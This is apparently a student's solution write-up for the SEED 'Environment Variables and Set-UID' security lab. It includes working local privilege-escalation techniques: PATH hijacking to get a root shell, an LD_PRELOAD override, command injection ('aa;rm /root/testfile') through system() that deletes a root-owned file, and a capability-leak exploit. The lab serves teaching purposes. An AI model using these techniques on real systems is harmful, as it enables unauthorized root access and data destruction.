Environment Variables and Set-UID program Lab Solutions

VM: SEED Ubuntu 16.04

Lab Questions:
https://seedsecuritylabs.org/Labs_20.04/Software/Environment_Variable_and_SetUID/

2.1 Task 1: Manipulating Environment Variables

- Use **printenv** or **env** command to print out the environment variables.

```
[08/21/21]seed@VM:~/.../Labsetup$ printenv PWD
/home/seed/computerAndInternetSecurity_Chapters/labs/environment_variable_and_setUID/Labsetup
```

- Use export and unset to set or unset environment variables.

```
[08/21/21]seed@VM:~/.../Labsetup$ printenv | grep LOGNAME
LOGNAME=seed
[08/21/21]seed@VM:~/.../Labsetup$ unset LOGNAME
[08/21/21]seed@VM:~/.../Labsetup$ printenv | grep LOGNAME
[08/21/21]seed@VM:~/.../Labsetup$ export LOGNAME=seed
[08/21/21]seed@VM:~/.../Labsetup$ printenv | grep LOGNAME
LOGNAME=seed
```

2.2 Task 2: Passing Environment Variables form Parent Process to Child Process

Step 1.

myprintenv.c

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
     printf("%s\n", environ[i]);
     i++;
  }
}

void main()
{
```

```
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      printenv();
      exit(0);
    default:  /* parent process */
      // printenv();
      exit(0);
  }
}
```

The above program prints out environment variables of the parent child process spawned as a result of **fork()**

- compile **printenv.c,** then redirect its output into **file**

```
[08/21/21]seed@VM:~/.../Labsetup$ gcc myprintenv.c
[08/21/21]seed@VM:~/.../Labsetup$ a.out > file
```

Step 2.

myprintenv.c (altered)

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
     printf("%s\n", environ[i]);
     i++;
  }
}

void main()
{
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      //printenv();
      exit(0);
    default:  /* parent process */
      printenv();
      exit(0);
  }
}
```

The above program prints out the environment variables of the parent process.

- compile the program and redirect the output into **file2**

```
[08/21/21]seed@VM:~/.../Labsetup$ gcc myprintenv.c
[08/21/21]seed@VM:~/.../Labsetup$ a.out > file2
```

Step 3. Compare the difference of these two files using the diff command.

The **pid_t** variable **childPid** holds the value returned by **fork()**. This value represents the child process if it is 0, and the parent process if equal to some other value (not 0). We run the program once forcing the program (inside the switch statement) to print the environment variables of the child process, and then run the program again altering it to print only the environment variables of the parent process. The outputs are stored in **file** and **file2**. After comparing **file** and **file2** with the **diff** command, we see that both the parent process and the child process have the same environment variables, since the child process inherited them from the parent.

2.3 Task 3: Environment Variables and execve()

Step 1.

```c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, NULL);

  return 0 ;
}
```

The above program executes a program called **/usr/bin/env**, which prints out the environment variables of the current process.

- compile and run **myenv.c**

```
[08/22/21]seed@VM:~/.../Labsetup$ gcc myenv.c
[08/22/21]seed@VM:~/.../Labsetup$ a.out
[08/22/21]seed@VM:~/.../Labsetup$
```

No environment variables were passed to the child the **env** program when invoke with **execve(),** when passing **NULL** as the third argument.

Step 2. Change the invocation of **execve()** in **myenv.c**, passing environ as the third argument:

```c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, environ);

  return 0 ;
}
```

- compile and run **myenv.c**

```
[08/22/21]seed@VM:~/.../Labsetup$ gcc myenv.c
[08/22/21]seed@VM:~/.../Labsetup$ a.out
XDG_SESSION_ID=311
ANDROID_HOME=/home/seed/android/android-sdk-linux
TERM=xterm-256color
SHELL=/bin/bash
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
SSH_CLIENT=192.168.254.69 64759 22
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0:/home/s
eed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib/boost/libboost_
system.so.1.64.0
SSH_TTY=/dev/pts/0
USER=seed
```

The process passes its own environment variables to the env program.

Step 3.

The above program uses the **execve()** system call instead of the **fork()** system call; this means that instead of a new process being created (child process) and it inheriting all the environment variables form the parent process (as seen with **fork()**), **execve()** instead runs the **env** program within itself, overwriting the current processes memory with the data provided by the new program. This means that all the environment variables will be lost unless they are passed to the new program when invoking the **execve()** system call. Passing **environ** to **execve()** as the third argument will allow the current process to pass its environment variables to the new program. Passing **NULL** as the third argument to **execve()** will result in no environment variables passed from the current process to the new program.

2.4 Task 4: Environment Variables and system()

```c
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    system("/usr/bin/env");
    return 0;
}
```

The above program runs the **env** program using the **system()** function. The above code snippet demonstrates how environment variables are passed from the calling process to the new program **/bin/sh** when using the **system()** function. This happens because **system()** executes **"/bin/sh -c command"**, which means **system()** is asking the shell to execute the **"/usr/bin/env"** command.

- Compile **task4.c**, then run it.

```
[08/22/21]seed@VM:~/.../Labsetup$ gcc task4.c
[08/22/21]seed@VM:~/.../Labsetup$ a.out
LESSOPEN=| /usr/bin/lesspipe %s
MAIL=/var/mail/seed
SSH_CLIENT=192.168.254.69 64761 22
USER=seed
J2SDKDIR=/usr/lib/jvm/java-8-oracle
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/sour
SHLVL=1
J2REDIR=/usr/lib/jvm/java-8-oracle/jre
HOME=/home/seed
OLDPWD=/home/seed
```

The environment variables are there. When using **system()**, the environment variables of the calling process (out **task4** program) is passed to the new program, **/bin/sh**.

2.5 Task 5: Environment Variable and Set-UID Programs

Step 1.

```c
#include <stdio.h>
#include <stdlib.h>

extern chat **environ;
int main(void)
{
    int i = 0;
    while (environ[i] != NULL)
    {
        printf("%s\n", environ[i]);
        i++;
    }


}
```

This program will loop though all the environment variables when calling **environ**, and print them to the terminal until hitting **NULL** at the end of **environ**, which means it printed all environment variables pointed to by **environ**.

Step 2.

```
[08/23/21]seed@VM:~/.../Labsetup$ rm task5
[08/23/21]seed@VM:~/.../Labsetup$ gcc task5.c -o task5
[08/23/21]seed@VM:~/.../Labsetup$ sudo chown root task5
[08/23/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 task5
```

Step 3.

```
[08/23/21]seed@VM:~/.../Labsetup$ export PATH
[08/23/21]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH
[08/23/21]seed@VM:~/.../Labsetup$ export ANY_NAME=Kolrami
```

```
[08/23/21]seed@VM:~/.../Labsetup$ task5 | egrep "PATH|LD_LIBRARY_PATH|ANY_NAME"
PATH=/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/us
/usr/lib/jvm/java-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre
droid-sdk-linux/tools:/home/seed/android/android-sdk-linux/platform-tools:/home/seed/android/an
/home/seed/.local/bin
ANY_NAME=Kolrami
```

After running the **task5** program and searching for the exported environment variables in the output using **egrep**, we see that **PATH** and **ANY_NAME** have been inherited by the program. **PATH** would have been inherited without the using **export**, but we could have changed **PATH** using export. **ANY_NAME** exported successfully, but **LD_LIBRARY_PATH** did not; this is due to the countermeasure used by the dynamic

linker to ignore the **LD_LIBRARY_PATH** environment variable when a process is running a **Set-UID** or **Set-GID** program. The reason **LD_LIBRARY_PATH** is ignored in this case is because the outcome of the dynamic linking process could be maliciously controlled by users when run inside a **Set-UID** program, leading to security breaches... an attacker could decide that implementation code of a C library function could be used.

2.6 Task 6: The PATH Environment Variable and Set-UID Programs

```c
#include <stdlib.h>

int main()
{
    system("ls");
    return 0;
}
```

The above program, called **task6_vul.c** is a vulnerable root-owned **Set_UID** program that runs the **/bin/ls** command, but the relative path is used for the **ls** command instead of the absolute path. The relative path for the **ls** command works because its path is in the **PATH** variable, but this will be what enables us to run out own malicious code.

```c
#include <stdlib.h>

int main(void)
{
    system("/bin/bash -p");
}
```

The above program, called **ls**, uses the **system()** function to run a shell. We will change the **PATH** environment variable to first point to the current directory, so when the vulnerable program **task6_vul.c** is compiled, turned into a root-owned **Set_UID** program, and then runs, it will first look in the current directory for a program called **ls**, running the malicious code instead of **/bin/ls**.

Note: The **system()** function executes **/bin/sh**. In Ubuntu 20.04 (and several versions before, including 16.04), **bin/sh** is a symbolic link pointing to **/bin/dash**. This shell program has a countermeasure that prevents itself from being executed in a **Set-UID** process. If **dash** detects that it is executed in a root-owned **Set-UID** process, it changes the effective user ID to the process's real user ID, dropping the privilege. Our victim program is a root-owned **Set-UID** program, so the countermeasure in /bin/dash can prevent our attack. To see how the attack works without this countermeasure, we will link **/bin/sh** to another shell that does not have such a countermeasure, called **zsh**,

which has been installed on the VM. We also use the **-p** option with **/bin/sh** inside out malicious program called **ls**, which tells bash to opt out of the countermeasure.

```
[08/24/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[08/24/21]seed@VM:~/.../Labsetup$ gcc -o ls ls.c
[08/24/21]seed@VM:~/.../Labsetup$ gcc -o task6_vul task6_vul.c
[08/24/21]seed@VM:~/.../Labsetup$ sudo chown root task6_vul
[08/24/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 task6_vul
```

In the above, we first link **/bin/zsh** to **/bin/sh** to avoid the countermeasure. Then we compile **ls.c** and **task6_vul.c**. We change the owner of **task6_vul** to root using **chown**, then we make **task6_vul** a **Set_UID** program with the **chmod** command.

```
[08/24/21]seed@VM:~/.../Labsetup$ export PATH=.:$PATH
[08/24/21]seed@VM:~/.../Labsetup$ task6_vul
bash-4.3# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),2
128(sambashare)
bash-4.3#
```

In the above we use the **export** command to set the **PATH** variable to first point to the current directory with the dot added at the beginning. Now, when **task6_vul** executes, it will see the malicious **ls** program we created in this directory, and run it instead of **/bin/ls**; as a result, we get a root shell, and we can see that we get a root shell by looking at the effective user id output by the **id** command.

```
bash-4.3# exit
exit
[08/24/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh
```

We then exit the root shell and link **/bin/dash** to **bin/sh**, as it was before this task.

2.7 Task 7: The LD PRELOAD Environment Variable and Set-UID Programs

Step 1.

1. We are building a dynamic link library. This program, **mylib.c**, will override the **sleep()** function in **libc**.

```c
#include <stdio.h>
void sleep(int s)
{
    /* If this is invoked by a privileged program,
       you can do damage here! */
    printf("I am not sleeping!\n");
}
```

2. We compile **mylib.c** with the following commands:

```
$ gcc -fPIC -g -c mylib.c
$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
```

3. Set the **LD_PRELOAD** environment variable:

```
$ export LD_PRELOAD=./libmylib.so.1.0.1
```

4. Compile the following program, **myprog**, in the same directory as the dynamic link library **libmylib.so.1.0.1**:

```c
/* myprog.c */
#include <unistd.h>
int main()
{
    sleep(1);
    return 0;
}
```

Step 2.

Running myprog under the following conditions:

1. Make **myprog** a regular program, and run it as a normal user.

```
[08/25/21]seed@VM:~/.../Labsetup$ gcc -o myprog myprog.c
[08/25/21]seed@VM:~/.../Labsetup$ myprog
I am not sleeping!
```

2. Make **myprog** a **Set-UID** root program, and run it as a normal user.

```
[08/25/21]seed@VM:~/.../Labsetup$ sudo chown root myprog
[08/25/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[08/25/21]seed@VM:~/.../Labsetup$ myprog
```

3. Make **myprog** a **Set-UID** root program, export the **LD_PRELOAD** environment variable again in the root account and run it.

```
# chown root myprog
# chmod 4755 myprog
# LD_PRELOAD=./libmylib.so.1.0.1
# myprog
```

```
I am not sleeping!
```

4. Make **myprog** a **Set-UID** user1 program (i.e., the owner is user1, which is another user account), export the **LD_PRELOAD** environment variable again in a different user's account (not-root user) and run it.

```
# chown user1 myprog
# chmod 4755 myprog
# su user1
```

```
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ myprog
```

```
I am not sleeping!
```

Step 3.

The behavior in **Step 2** is due to the countermeasure implemented by the dynamic linker which ignores the **LD_PRELOAD** environment variables when the process is a Set-UID program. This can be confirmed with the following experiment:

1. Make a copy of the **env** program and make it a **Set-UID** program (**env** prints out the environment variables):

```
$ cp /usr/bin/env ./task7_myenv
$ sudo chown root task7_myenv
$ sudo chmod 4755 task7_myenv
```

2. Export **LD_PRELOAD**, out own environment variable called **LD_MYOWN**, and run both **task7_myenv** and the original **env**:

```
[08/25/21]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
[08/25/21]seed@VM:~/.../Labsetup$ export LD_MYOWN="my own value"
[08/25/21]seed@VM:~/.../Labsetup$ env | grep LD_
LD_PRELOAD=./libmylib.so.1.0.1
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/boost_1_64_0/stage/lib:
LD_MYOWN=my own value
[08/25/21]seed@VM:~/.../Labsetup$ task7_myenv | grep LD_
LD_MYOWN=my own value
[08/25/21]seed@VM:~/.../Labsetup$
```

The original **env** program is passed all the environment variables that we exported above. The **task7_myenv** program is only passed the **LD_MYOWN** environment variable; this is because **task7_myenv** is a **Set-UID** program. The dynamic linker sees passing **LD_PRELOAD** to a **Set-UID** program as dangerous, while, wince **LD_MYOWN** is defined by us, there is no threat, so it is passed.

2.8 Task 8: Invoking External Programs Using system() versus execve()

catall.c

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char *v[3];
  char *command;

  if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }

  v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

  command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
  sprintf(command, "%s %s", v[0], v[1]);

  // Use only one of the followings.
  system(command);
  // execve(v[0], v, NULL);

  return 0 ;
}
```

This program, **catall.c**, requires the user to type a file name at the command line, and then it will run **/bin/ca**t to display the specified file.

Step 1:

Here, we compile the **catall.c** and make is a root-owned **Set-UID** program. program uses **system()** to invoke the command. We will compromise the integrity of the system by removing a file that is not writeable to us.

We will take advantage of the **system()** function that is used in **catall**, along with **catall** being a root-owned **Set-UID** program to remove a file that is not writeable to us. The **system()** function executes a command by calling "**/bin/sh -c command**", so this means that the command is not directly executed by the program, but instead by first executing the shell program, and then the shell will take command as its input, parse, then execute the specified command. In a shell prompt, two commands can be typed in one single line by use of a semicolon (;) to separate the commands; this can be used by with **catall** to take over the root account, and remove the file.

1. For this step, we again need to link **/bin/sh** to **/bin/zsh** to avoid the dash shell countermeasure (**/bin/sh** is a symbolic link pointing to **/bin/dash**) that prevents

itself from being executed in a **Set-UID** process when **system()** executes commands:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

2. Now, as root, let's make a file to which we don't have write privileges:

```
[08/26/21]seed@VM:~/.../Labsetup$ su root
Password:
# touch /root/testfile
# ll /root/testfile

-rw-r--r-- 1 root root 0 Aug 26 11:43 /root/testfile
```

3. Switch back to regular user. Compile **catall.c** and make it a root-owned **Set-UID** program:

```
$ gcc -o catall catall.c
$ sudo chown root catall
$ sudo chmod 4755 catall
```

4. We can supply this string to **catall** to remove the file:
   catall "aa;rm /root/testfile"

```
[08/26/21]seed@VM:~/.../Labsetup$ catall "aa;rm /root/testfile"
/bin/cat: aa: No such file or directory
[08/26/21]seed@VM:~/.../Labsetup$ sudo ls /root
[08/26/21]seed@VM:~/.../Labsetup$
```

   We can see that **testfile** was removed from **/root**. **catall** tries to use the **cat** program on the first command **"aa"**; it does not exist, but this doesn't matter, since it then runs the **rm** command with root privilege with the **shell** created by **system()** to remove **/root/testfile.** The command needs the quotation marks because without them, the two commands are executed under the current shell and only the **"aa"** section of the command string is run by the **Set-UID** program **catall**. To supply the **shell** created by **system()** within **catall** the second command in the command string, the quotations are required.

Step 2: As root, create a new file without write permission to non-privileged users, and redo the experiment from **Step 1.** We now comment out the **system(command)** statement inside **catall.c**, uncomment the **execve()** statement so it runs the command, and them compile the program and make it a root-owned **Set-UID**.

```
# touch /root/testfile
```

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char *v[3];
  char *command;

  if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }
  v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

  command = malloc(strlen(v[0]) + strlen(v[1]) + 2 );
  sprintf(command, "%s %s", v[0], v[1]);

  // Use only one of the followings.
  //system(command);
  execve(v[0], v, NULL);
  return 0 ;
}
```

```
[08/26/21]seed@VM:~/.../Labsetup$ gcc -o catall catall.c
[08/26/21]seed@VM:~/.../Labsetup$ sudo chown root catall
[08/26/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall
[08/26/21]seed@VM:~/.../Labsetup$ catall "aa;rm /root/testfile"
/bin/cat: 'aa;rm /root/testfile': No such file or directory
[08/26/21]seed@VM:~/.../Labsetup$ sudo ls /root
testfile
```

We fail to remove the file when using the **execve()** program inside the **Set-UID** program when running the command. This is because it directly asks the operating system, instead of the shell program, to execute the specified command; so instead, when "**aa;rm /root/testfile**" is used as an argument to **catall**, the whole string is not just "**aa**", is treated as an argument to the **cat** program.

2.9 Task 9: Capability Leaking

We will compile the following program, change its owner to root, and make it a Set-UID program. Run the program as a normal user. We will exploit the capability leaking vulnerability in this program. The goal is to write to the **/etc/zzz** file as a normal user.

cap_leak.c

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main()
{
  int fd;
  char *v[2];

  /* Assume that /etc/zzz is an important system file,
   * and it is owned by root with permission 0644.
   * Before running this program, you should create
   * the file /etc/zzz first. */
  fd = open("/etc/zzz", O_RDWR | O_APPEND);
  if (fd == -1) {
     printf("Cannot open /etc/zzz\n");
     exit(0);
  }

  // Print out the file descriptor value
  printf("fd is %d\n", fd);

  // Permanently disable the privilege by making the
  // effective uid the same as the real uid
  setuid(getuid());

  // Execute /bin/sh
  v[0] = "/bin/sh"; v[1] = 0;
  execve(v[0], v, 0);
}
```

In the above **Set-UID** root program, it first opens the file **/etc/zzz**, which is only writable by root. After the file is opened, a file descriptor is created and all the operations on the file afterword are done using this file descriptor. The file descriptor is a form of capability because the process carrying it is capable of accessing the file to which it corresponds. Next in the program, the program downgrades its privilege by making its effective user ID, which is root, the same as the real user ID, which is seed, which removes root privilege from the process. The program then invokes a shell program. But, the program forgets to close the file (**close(fd)**), so the descriptor is still valid, making this program able to write to **etc/zzz**, even though it no longer has root privileges.

1. Compile and make the program a root-owned **Set-UID:**

```
[08/26/21]seed@VM:~/.../Labsetup$ gcc -o cap_leak cap_leak.c
[08/26/21]seed@VM:~/.../Labsetup$ sudo chown root cap_leak
[08/26/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 cap_leak
```

2. Run the program. Once in the shell invoked from the program, we can write to **/etc/zzz** using the file descriptor in this process that has access to **/etc/zzz**; use **echo ... >&3** (**“&3”** means file descriptor 3).